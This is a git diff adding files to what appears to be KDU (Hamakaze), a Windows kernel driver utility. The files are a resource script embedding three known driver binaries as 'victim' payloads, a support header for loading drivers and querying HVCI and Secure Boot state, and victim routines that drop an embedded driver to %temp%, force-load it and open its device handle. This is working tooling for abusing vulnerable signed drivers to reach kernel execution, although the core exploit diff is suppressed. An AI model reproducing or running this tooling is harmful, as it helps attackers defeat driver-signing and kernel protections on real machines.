||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 108
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
|
@ -0,0 +1,122 @@
|
|||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United States) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
|
||||
#pragma code_page(1252)
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,2002
|
||||
PRODUCTVERSION 1,0,0,2002
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
#else
|
||||
FILEFLAGS 0x0L
|
||||
#endif
|
||||
FILEOS 0x40004L
|
||||
FILETYPE 0x1L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "UG North"
|
||||
VALUE "FileDescription", "Kernel Driver Utility"
|
||||
VALUE "FileVersion", "1.0.0.2002"
|
||||
VALUE "InternalName", "Hamakaze.exe"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2020 KDU Project"
|
||||
VALUE "OriginalFilename", "Hamakaze.exe"
|
||||
VALUE "ProductName", "KDU"
|
||||
VALUE "ProductVersion", "1.0.0.2002"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x409, 1200
|
||||
END
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// RCDATA
|
||||
//
|
||||
|
||||
IDR_iQVM64 RCDATA "drv\\iQVM64.bin"
|
||||
|
||||
IDR_PROCEXP RCDATA "drv\\procexp.bin"
|
||||
|
||||
IDR_RTCORE64 RCDATA "drv\\RTCore64.bin"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Icon
|
||||
//
|
||||
|
||||
// Icon with lowest ID value placed first to ensure application icon
|
||||
// remains consistent on all systems.
|
||||
IDI_ICON1 ICON "res\\274.ico"
|
||||
|
||||
#endif // English (United States) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,117 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: SUP.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Support routines header file.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
#pragma once
|
||||
|
||||
typedef NTSTATUS(NTAPI* PENUMOBJECTSCALLBACK)(POBJECT_DIRECTORY_INFORMATION Entry, PVOID CallbackParam);
|
||||
|
||||
#define USER_TO_KERNEL_HANDLE(Handle) { Handle += 0xffffffff80000000; }
|
||||
|
||||
typedef struct _OBJSCANPARAM {
|
||||
PWSTR Buffer;
|
||||
ULONG BufferSize;
|
||||
} OBJSCANPARAM, * POBJSCANPARAM;
|
||||
|
||||
PVOID FORCEINLINE supHeapAlloc(
|
||||
_In_ SIZE_T Size);
|
||||
|
||||
BOOL FORCEINLINE supHeapFree(
|
||||
_In_ PVOID Memory);
|
||||
|
||||
NTSTATUS supEnablePrivilege(
|
||||
_In_ DWORD PrivilegeName,
|
||||
_In_ BOOL fEnable);
|
||||
|
||||
NTSTATUS supLoadDriver(
|
||||
_In_ LPCWSTR DriverName,
|
||||
_In_ LPCWSTR DriverPath,
|
||||
_In_ BOOLEAN UnloadPreviousInstance);
|
||||
|
||||
NTSTATUS supUnloadDriver(
|
||||
_In_ LPCWSTR DriverName,
|
||||
_In_ BOOLEAN fRemove);
|
||||
|
||||
NTSTATUS supOpenDriver(
|
||||
_In_ LPCWSTR DriverName,
|
||||
_Out_ PHANDLE DeviceHandle);
|
||||
|
||||
PVOID supGetSystemInfo(
|
||||
_In_ SYSTEM_INFORMATION_CLASS InfoClass);
|
||||
|
||||
ULONG_PTR supGetNtOsBase(
|
||||
VOID);
|
||||
|
||||
PBYTE supQueryResourceData(
|
||||
_In_ ULONG_PTR ResourceId,
|
||||
_In_ PVOID DllHandle,
|
||||
_In_ PULONG DataSize);
|
||||
|
||||
PBYTE supReadFileToBuffer(
|
||||
_In_ LPWSTR lpFileName,
|
||||
_Inout_opt_ LPDWORD lpBufferSize);
|
||||
|
||||
SIZE_T supWriteBufferToFile(
|
||||
_In_ PWSTR lpFileName,
|
||||
_In_ PVOID Buffer,
|
||||
_In_ SIZE_T Size,
|
||||
_In_ BOOL Flush,
|
||||
_In_ BOOL Append,
|
||||
_Out_opt_ NTSTATUS* Result);
|
||||
|
||||
ULONG_PTR supGetProcAddress(
|
||||
_In_ ULONG_PTR KernelBase,
|
||||
_In_ ULONG_PTR KernelImage,
|
||||
_In_ LPCSTR FunctionName);
|
||||
|
||||
void supResolveKernelImport(
|
||||
_In_ ULONG_PTR Image,
|
||||
_In_ ULONG_PTR KernelImage,
|
||||
_In_ ULONG_PTR KernelBase);
|
||||
|
||||
BOOLEAN supIsObjectExists(
|
||||
_In_ LPWSTR RootDirectory,
|
||||
_In_ LPWSTR ObjectName);
|
||||
|
||||
BOOL supQueryObjectFromHandle(
|
||||
_In_ HANDLE hOject,
|
||||
_Out_ ULONG_PTR* Address);
|
||||
|
||||
BOOL supGetCommandLineOption(
|
||||
_In_ LPCTSTR OptionName,
|
||||
_In_ BOOL IsParametric,
|
||||
_Out_writes_opt_z_(ValueSize) LPTSTR OptionValue,
|
||||
_In_ ULONG ValueSize);
|
||||
|
||||
BOOLEAN supQueryHVCIState(
|
||||
_Out_ PBOOLEAN pbHVCIEnabled,
|
||||
_Out_ PBOOLEAN pbHVCIStrictMode,
|
||||
_Out_ PBOOLEAN pbHVCIIUMEnabled);
|
||||
|
||||
DWORD supExpandEnvironmentStrings(
|
||||
_In_ LPCWSTR lpSrc,
|
||||
_Out_writes_to_opt_(nSize, return) LPWSTR lpDst,
|
||||
_In_ DWORD nSize);
|
||||
|
||||
BOOLEAN supQuerySecureBootState(
|
||||
_Out_ PBOOLEAN pbSecureBoot);
|
||||
|
||||
ULONG_PTR supQueryMaximumUserModeAddress();
|
||||
|
||||
BOOLEAN supVerifyMappedImageMatchesChecksum(
|
||||
_In_ PVOID BaseAddress,
|
||||
_In_ ULONG FileLength);
|
|
@ -0,0 +1,205 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: VICTIM.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Victim support routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
|
||||
/*
|
||||
* VictimLoadUnload
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Load/Unload driver using Native API.
|
||||
* This routine will try to force unload driver on loading if Force parameter set to TRUE.
|
||||
*
|
||||
*/
|
||||
BOOL VictimLoadUnload(
|
||||
_In_ LPWSTR Name,
|
||||
_In_ LPWSTR ImagePath,
|
||||
_In_ BOOLEAN Force,
|
||||
_In_ BOOLEAN Unload,
|
||||
_Out_opt_ NTSTATUS* ErrorStatus)
|
||||
{
|
||||
NTSTATUS ntStatus;
|
||||
|
||||
if (Unload) {
|
||||
ntStatus = supUnloadDriver(Name, TRUE);
|
||||
}
|
||||
else {
|
||||
ntStatus = supLoadDriver(Name, ImagePath, Force);
|
||||
}
|
||||
|
||||
if (ErrorStatus)
|
||||
*ErrorStatus = ntStatus;
|
||||
|
||||
return (NT_SUCCESS(ntStatus));
|
||||
}
|
||||
|
||||
/*
|
||||
* VictimBuildName
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Create filepath to %temp% with given victim name.
|
||||
*
|
||||
*/
|
||||
LPWSTR VictimBuildName(
|
||||
_In_ LPWSTR VictimName
|
||||
)
|
||||
{
|
||||
LPWSTR FileName;
|
||||
SIZE_T Length = (1024 + _strlen(VictimName)) * sizeof(WCHAR);
|
||||
|
||||
FileName = (LPWSTR)supHeapAlloc(Length);
|
||||
if (FileName == NULL) {
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
else {
|
||||
|
||||
DWORD cch = supExpandEnvironmentStrings(L"%temp%\\", FileName, MAX_PATH);
|
||||
if (cch == 0 || cch > MAX_PATH) {
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
supHeapFree(FileName);
|
||||
FileName = NULL;
|
||||
}
|
||||
else {
|
||||
_strcat(FileName, VictimName);
|
||||
_strcat(FileName, L".sys");
|
||||
}
|
||||
}
|
||||
|
||||
return FileName;
|
||||
}
|
||||
|
||||
/*
|
||||
* VictimCreate
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Drop, load and reference victim driver.
|
||||
*
|
||||
*/
|
||||
BOOL VictimCreate(
|
||||
_In_ HINSTANCE ModuleBase,
|
||||
_In_ LPWSTR Name, //same as device name
|
||||
_In_ ULONG ResourceId,
|
||||
_Out_opt_ PHANDLE VictimHandle)
|
||||
{
|
||||
PBYTE drvBuffer = NULL;
|
||||
ULONG resourceSize = 0;
|
||||
LPWSTR driverFileName = NULL;
|
||||
HANDLE deviceHandle = NULL;
|
||||
|
||||
if (VictimHandle)
|
||||
*VictimHandle = NULL;
|
||||
|
||||
driverFileName = VictimBuildName(Name);
|
||||
if (driverFileName) {
|
||||
|
||||
do {
|
||||
|
||||
if (supIsObjectExists((LPWSTR)L"\\Device", Name)) {
|
||||
printf_s("[!] Victim driver already loaded, force reload\r\n");
|
||||
|
||||
printf_s("[!] Attempt to unload %ws\r\n", Name);
|
||||
|
||||
NTSTATUS ntStatus;
|
||||
if (!VictimLoadUnload(Name, driverFileName, FALSE, TRUE, &ntStatus)) {
|
||||
printf_s("[!] Could not force unload victim, NTSTATUS(0x%lX) abort\r\n", ntStatus);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
drvBuffer = supQueryResourceData(ResourceId, ModuleBase, &resourceSize);
|
||||
if (drvBuffer == NULL) {
|
||||
SetLastError(ERROR_FILE_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
NTSTATUS ntStatus;
|
||||
ULONG writeBytes;
|
||||
|
||||
printf_s("[+] Extracting victim driver \"%ws\" as \"%ws\"\r\n", Name, driverFileName);
|
||||
|
||||
writeBytes = (ULONG)supWriteBufferToFile(driverFileName,
|
||||
drvBuffer,
|
||||
resourceSize,
|
||||
TRUE,
|
||||
FALSE,
|
||||
&ntStatus);
|
||||
|
||||
supHeapFree(drvBuffer);
|
||||
|
||||
if (resourceSize != writeBytes) {
|
||||
printf_s("[!] Could not extract victim driver, NTSTATUS(0x%lX) abort\r\n", ntStatus);
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
break;
|
||||
}
|
||||
|
||||
ntStatus = STATUS_UNSUCCESSFUL;
|
||||
if (VictimLoadUnload(Name, driverFileName, TRUE, FALSE, &ntStatus)) {
|
||||
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
|
||||
if (VictimHandle) {
|
||||
|
||||
ntStatus = supOpenDriver(Name, &deviceHandle);
|
||||
if (NT_SUCCESS(ntStatus)) {
|
||||
*VictimHandle = deviceHandle;
|
||||
}
|
||||
else {
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
}
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
supHeapFree(driverFileName);
|
||||
}
|
||||
|
||||
return (deviceHandle != NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* VictimRelease
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Unload victim driver.
|
||||
*
|
||||
*/
|
||||
BOOL VictimRelease(
|
||||
_In_ LPWSTR Name
|
||||
)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
LPWSTR driverFileName = VictimBuildName(Name);
|
||||
if (driverFileName) {
|
||||
bResult = VictimLoadUnload(Name, driverFileName, FALSE, TRUE, NULL);
|
||||
DeleteFile(driverFileName);
|
||||
supHeapFree(driverFileName);
|
||||
}
|
||||
|
||||
return bResult;
|
||||
}
|
|
@ -0,0 +1,29 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: VICTIM.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 07 Jan 2020
|
||||
*
|
||||
* Victim support prototypes and definitions.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
BOOL VictimCreate(
|
||||
_In_ HINSTANCE ModuleBase,
|
||||
_In_ LPWSTR Name, //same as device name
|
||||
_In_ ULONG ResourceId,
|
||||
_Out_opt_ PHANDLE VictimHandle);
|
||||
|
||||
BOOL VictimRelease(
|
||||
_In_ LPWSTR Name);
|
|
@ -0,0 +1,25 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.29709.97
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Hamakaze", "Hamakaze\KDU.vcxproj", "{46C8FB0F-C8BF-4932-B84C-A10B38904728}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{46C8FB0F-C8BF-4932-B84C-A10B38904728}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{46C8FB0F-C8BF-4932-B84C-A10B38904728}.Debug|x64.Build.0 = Debug|x64
|
||||
{46C8FB0F-C8BF-4932-B84C-A10B38904728}.Release|x64.ActiveCfg = Release|x64
|
||||
{46C8FB0F-C8BF-4932-B84C-A10B38904728}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {A3AB05D5-3256-4A90-8B28-22C0E11621E9}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Loading…
Reference in New Issue